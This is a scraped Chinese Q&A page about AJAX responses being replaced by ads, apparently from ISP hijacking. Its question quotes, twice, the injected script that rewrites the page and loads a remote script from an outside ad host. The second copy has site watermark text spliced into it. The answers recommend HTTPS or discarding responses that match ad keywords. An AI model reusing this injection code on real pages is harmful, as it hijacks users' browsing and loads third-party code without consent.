• 欢迎访问搞代码网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站!
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏搞代码吧

js请求接口时返回的数据被换成广告该怎么办?

php 搞代码 3年前 (2022-01-23) 23次浏览 已收录 0个评论
文章目录[隐藏]

js ajax请回返回数据被替换,正常应该返回json数据,结果返回一大堆广告。

返回内容如下:

<body>

<code><script>!  function() {    function a() {      var a = new Date;      a.setTime(a.getTime() + 6e4),      document.cookie = "sessioned=1;expires=" + a.toUTCString()    }    function b(b) {      a(),      setTimeout(function() {        location.href = location.href      },      b)    }    var d, e, f, c = 1e4;    try {      if (!/sessioned=1/.test(document.cookie)) {        a(),        e = document.createElement("script"),        f = !1,        e.src = "http://www.henan139.com/js/V20/ad01.js?1",        d = new XMLHttpRequest,        d.open("GET", window.location, !0),        d.setRequestHeader("X-Requested-With", "XMLHttpRequest");        try {          d.timeout = c        } catch(g) {}        d.send(),        d.onreadystatechange = function() {          try {            if (4 == d.readyState) {              if (200 != d.status || "text/html" != d.getResponseHeader("Content-Type")) throw "";              text = d.responseText.replace(/<\/body>/i, e.outerHTML + ""),              document.open("text/html", "replace"),              document.write(text),              setTimeout(function() {                document.close()              },              1e3),              f = !0            }          } catch(a) {            b(100)          }        }      }    } catch(g) {      b(150)    } finally {      setTimeout(function() {        f || b(1)      },      c + 1e3)    }  } ();</script></code>

回复内容:

js ajax请回返回数据被替换,正常应该返回json数据,结果返回一大堆广告。

返回内容如下:

<body>

<code><script>!  function() {    function a() {      var a = new Date;      a.setTime(a.getTime() + 6e4),      document.cookie = "sessioned=1;expires=" + a.toUTCString()    }    function b(b) {      a(),      setTimeout(function() {        location.href = location.href      },      b)    }    var d, e, f, c = 1e4;    try {      if (!/sessioned=1/.test(document.cookie)) {        a(),        e = document.createElement("script"),        f = !1,        e.src = "http://www.henan139.com/js/V20/ad01.js?1",        d = new XMLHttpRequest,        d.open("GET", window.location, !0),        d.setRequestHeader("X-Requested-With", "XMLHttpRequest");        try {          d.timeout = c        } catch(g) {}        d.send(),        d.onreadystatechange = function() {          try {            if (4 == d.readyState) {              if (200 != d.status || "text/html" != d.getResponseHeader("Content-Type")) throw "";              text = d.responseText.replace(/<\/body>/i, e.outerHTML + ""),              document.open("text/html", "replace"),              document.write(text),              setTimeout(function() {                document.close()              },              1e3),              f = !0            }          } catch(a) { <b style="color:transparent">(、本文来源gao@!dai!ma.com搞$$代^@码网*</b><i>搞gaodaima代码</i>           b(100)          }        }      }    } catch(g) {      b(150)    } finally {      setTimeout(function() {        f || b(1)      },      c + 1e3)    }  } ();</script></code>

这种情况一般是被运营商劫持了,最好的解决方案是使用HTTPS

再响应中匹配广告的关键字,如果是广告则丢弃请求,再重新请求。


搞代码网(gaodaima.com)提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发送到邮箱[email protected],我们会在看到邮件的第一时间内为您处理,或直接联系QQ:872152909。本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:js请求接口时返回的数据被换成广告该怎么办?

喜欢 (0)
[搞代码]
分享 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址